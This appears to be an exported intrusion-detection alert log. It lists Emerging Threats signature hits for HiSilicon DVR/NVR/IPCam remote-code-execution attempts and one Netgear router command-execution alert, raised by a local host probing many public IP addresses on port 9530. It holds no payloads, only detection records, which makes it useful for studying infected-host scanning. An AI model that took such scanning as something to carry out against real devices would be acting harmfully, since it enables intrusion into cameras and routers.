Timestamp:	05/16/24-16:38:50.069064
SID:	2030488
Source Port:	48120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.75.127.176

Timestamp:	05/16/24-16:39:12.298159
SID:	2030488
Source Port:	37222
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.205.98.218

Timestamp:	05/16/24-16:38:50.069064
SID:	2030487
Source Port:	48120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.75.127.176

Timestamp:	05/16/24-16:39:12.298159
SID:	2030487
Source Port:	37222
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.7.162.22

Timestamp:	05/16/24-16:39:16.609436
SID:	2030488
Source Port:	46672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.7.162.22

Timestamp:	05/16/24-16:39:16.609436
SID:	2030487
Source Port:	46672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 210.0.78.26

Timestamp:	05/16/24-16:39:16.599069
SID:	2030488
Source Port:	36664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 210.0.78.26

Timestamp:	05/16/24-16:39:16.599069
SID:	2030487
Source Port:	36664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 66.53.197.168

Timestamp:	05/16/24-16:39:13.656949
SID:	2029215
Source Port:	42650
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.84.102.162

Timestamp:	05/16/24-16:39:03.276024
SID:	2030487
Source Port:	36896
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.100.104.104

Timestamp:	05/16/24-16:39:16.581452
SID:	2030487
Source Port:	41674
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.84.102.162

Timestamp:	05/16/24-16:39:03.276024
SID:	2030488
Source Port:	36896
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.100.104.104

Timestamp:	05/16/24-16:39:16.581452
SID:	2030488
Source Port:	41674
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.86.84.83

Timestamp:	05/16/24-16:39:16.597873
SID:	2030488
Source Port:	32814
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.86.84.83

Timestamp:	05/16/24-16:39:16.597873
SID:	2030487
Source Port:	32814
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 168.179.231.74

Timestamp:	05/16/24-16:38:50.069061
SID:	2030488
Source Port:	47454
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 168.179.231.74

Timestamp:	05/16/24-16:38:50.069061
SID:	2030487
Source Port:	47454
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.201.157.108

Timestamp:	05/16/24-16:38:57.305743
SID:	2030488
Source Port:	57246
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.201.157.108

Timestamp:	05/16/24-16:38:57.305743
SID:	2030487
Source Port:	57246
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.227.200.41

Timestamp:	05/16/24-16:39:05.704050
SID:	2030488
Source Port:	56128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.227.200.41

Timestamp:	05/16/24-16:39:05.704050
SID:	2030487
Source Port:	56128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.212.150.139

Timestamp:	05/16/24-16:38:57.411354
SID:	2030487
Source Port:	34128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.212.150.139

Timestamp:	05/16/24-16:38:57.411354
SID:	2030488
Source Port:	34128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.219.243.2

Timestamp:	05/16/24-16:39:02.728016
SID:	2030488
Source Port:	38940
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.226.239.249

Timestamp:	05/16/24-16:39:08.041106
SID:	2030487
Source Port:	41538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.219.243.2

Timestamp:	05/16/24-16:39:02.728016
SID:	2030487
Source Port:	38940
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.161.191.132

Timestamp:	05/16/24-16:39:03.285591
SID:	2030488
Source Port:	56672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.226.239.249

Timestamp:	05/16/24-16:39:08.041106
SID:	2030488
Source Port:	41538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.155.194.40

Timestamp:	05/16/24-16:39:05.699178
SID:	2030488
Source Port:	36022
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.155.194.40

Timestamp:	05/16/24-16:39:05.699178
SID:	2030487
Source Port:	36022
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.13.70.155

Timestamp:	05/16/24-16:39:14.523102
SID:	2030488
Source Port:	35026
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.13.70.155

Timestamp:	05/16/24-16:39:14.523102
SID:	2030487
Source Port:	35026
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 129.12.91.128

Timestamp:	05/16/24-16:39:12.382088
SID:	2030487
Source Port:	47150
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 129.12.91.128

Timestamp:	05/16/24-16:39:12.382088
SID:	2030488
Source Port:	47150
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.199.250.195

Timestamp:	05/16/24-16:38:57.429392
SID:	2030488
Source Port:	58050
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 46.199.250.195

Timestamp:	05/16/24-16:38:57.429392
SID:	2030487
Source Port:	58050
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.160.73.120

Timestamp:	05/16/24-16:39:12.304097
SID:	2030488
Source Port:	39582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.160.73.120

Timestamp:	05/16/24-16:39:12.304097
SID:	2030487
Source Port:	39582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.149.242.222

Timestamp:	05/16/24-16:39:12.406049
SID:	2030487
Source Port:	60126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.149.242.222

Timestamp:	05/16/24-16:39:12.406049
SID:	2030488
Source Port:	60126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 202.156.222.196

Timestamp:	05/16/24-16:38:55.198260
SID:	2030487
Source Port:	51704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 202.156.222.196

Timestamp:	05/16/24-16:38:55.198260
SID:	2030488
Source Port:	51704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.76.235.182

Timestamp:	05/16/24-16:38:50.065124
SID:	2030488
Source Port:	58234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.76.235.182

Timestamp:	05/16/24-16:38:50.065124
SID:	2030487
Source Port:	58234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.149.71.160

Timestamp:	05/16/24-16:39:05.694675
SID:	2030488
Source Port:	60494
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 74.104.126.111

Timestamp:	05/16/24-16:38:50.068355
SID:	2030487
Source Port:	45976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.149.71.160

Timestamp:	05/16/24-16:39:05.694675
SID:	2030487
Source Port:	60494
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 74.104.126.111

Timestamp:	05/16/24-16:38:50.068355
SID:	2030488
Source Port:	45976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.236.177.157

Timestamp:	05/16/24-16:38:50.080372
SID:	2030488
Source Port:	39162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.236.177.157

Timestamp:	05/16/24-16:38:50.080372
SID:	2030487
Source Port:	39162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.187.194.107

Timestamp:	05/16/24-16:39:08.136427
SID:	2030488
Source Port:	34508
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.88.55.156

Timestamp:	05/16/24-16:39:12.382788
SID:	2030488
Source Port:	33900
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 2.187.194.107

Timestamp:	05/16/24-16:39:08.136427
SID:	2030487
Source Port:	34508
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.62.232.233

Timestamp:	05/16/24-16:38:50.080094
SID:	2030488
Source Port:	48308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.62.232.233

Timestamp:	05/16/24-16:38:50.080094
SID:	2030487
Source Port:	48308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.88.55.156

Timestamp:	05/16/24-16:39:12.382788
SID:	2030487
Source Port:	33900
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.231.138.207

Timestamp:	05/16/24-16:39:02.767747
SID:	2030488
Source Port:	43260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.161.191.132

Timestamp:	05/16/24-16:39:03.285591
SID:	2030487
Source Port:	56672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 199.22.128.103

Timestamp:	05/16/24-16:39:16.603194
SID:	2030488
Source Port:	43792
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 199.22.128.103

Timestamp:	05/16/24-16:39:16.603194
SID:	2030487
Source Port:	43792
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 84.2.227.148

Timestamp:	05/16/24-16:39:14.510062
SID:	2030487
Source Port:	45554
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.2.227.148

Timestamp:	05/16/24-16:39:14.510062
SID:	2030488
Source Port:	45554
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.195.80.38

Timestamp:	05/16/24-16:39:14.494684
SID:	2030487
Source Port:	58620
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.103.102.228

Timestamp:	05/16/24-16:39:16.579878
SID:	2030487
Source Port:	51184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 122.28.64.94

Timestamp:	05/16/24-16:38:59.587419
SID:	2030487
Source Port:	38690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.195.80.38

Timestamp:	05/16/24-16:39:14.494684
SID:	2030488
Source Port:	58620
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.103.102.228

Timestamp:	05/16/24-16:39:16.579878
SID:	2030488
Source Port:	51184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.28.64.94

Timestamp:	05/16/24-16:38:59.587419
SID:	2030488
Source Port:	38690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 24.61.60.153

Timestamp:	05/16/24-16:38:57.306853
SID:	2030488
Source Port:	37004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 24.61.60.153

Timestamp:	05/16/24-16:38:57.306853
SID:	2030487
Source Port:	37004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 154.18.231.140

Timestamp:	05/16/24-16:39:03.262246
SID:	2030487
Source Port:	32990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.18.231.140

Timestamp:	05/16/24-16:39:03.262246
SID:	2030488
Source Port:	32990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.252.28.182

Timestamp:	05/16/24-16:39:12.382798
SID:	2030487
Source Port:	57470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.252.28.182

Timestamp:	05/16/24-16:39:12.382798
SID:	2030488
Source Port:	57470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.39.160.26

Timestamp:	05/16/24-16:39:02.725599
SID:	2030488
Source Port:	43190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.39.160.26

Timestamp:	05/16/24-16:39:02.725599
SID:	2030487
Source Port:	43190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.172.33.168

Timestamp:	05/16/24-16:39:12.304012
SID:	2030488
Source Port:	40434
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.172.33.168

Timestamp:	05/16/24-16:39:12.304012
SID:	2030487
Source Port:	40434
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 60.78.48.188

Timestamp:	05/16/24-16:38:57.431241
SID:	2030487
Source Port:	42958
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 60.78.48.188

Timestamp:	05/16/24-16:38:57.431241
SID:	2030488
Source Port:	42958
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.232.179.88

Timestamp:	05/16/24-16:39:08.136415
SID:	2030488
Source Port:	46966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.232.179.88

Timestamp:	05/16/24-16:39:08.136415
SID:	2030487
Source Port:	46966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.2.23.218

Timestamp:	05/16/24-16:38:57.304693
SID:	2030487
Source Port:	54632
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.2.23.218

Timestamp:	05/16/24-16:38:57.304693
SID:	2030488
Source Port:	54632
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.92.220.220

Timestamp:	05/16/24-16:38:50.063919
SID:	2030488
Source Port:	48838
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.92.220.220

Timestamp:	05/16/24-16:38:50.063919
SID:	2030487
Source Port:	48838
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.13.138.220

Timestamp:	05/16/24-16:39:05.707664
SID:	2030488
Source Port:	34742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 130.13.138.220

Timestamp:	05/16/24-16:39:05.707664
SID:	2030487
Source Port:	34742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.190.38.90

Timestamp:	05/16/24-16:39:05.711672
SID:	2030487
Source Port:	40390
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.190.38.90

Timestamp:	05/16/24-16:39:05.711672
SID:	2030488
Source Port:	40390
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 192.50.34.36

Timestamp:	05/16/24-16:38:50.004136
SID:	2030488
Source Port:	46768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 192.50.34.36

Timestamp:	05/16/24-16:38:50.004136
SID:	2030487
Source Port:	46768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.63.136.12

Timestamp:	05/16/24-16:38:57.409010
SID:	2030488
Source Port:	48056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.90.8.181

Timestamp:	05/16/24-16:39:08.044978
SID:	2030487
Source Port:	35418
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.63.136.12

Timestamp:	05/16/24-16:38:57.409010
SID:	2030487
Source Port:	48056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.28.146.204

Timestamp:	05/16/24-16:39:12.380082
SID:	2030488
Source Port:	52562
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.28.146.204

Timestamp:	05/16/24-16:39:12.380082
SID:	2030487
Source Port:	52562
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.90.8.181

Timestamp:	05/16/24-16:39:08.044978
SID:	2030488
Source Port:	35418
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.140.137.158

Timestamp:	05/16/24-16:38:59.558036
SID:	2030488
Source Port:	35846
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

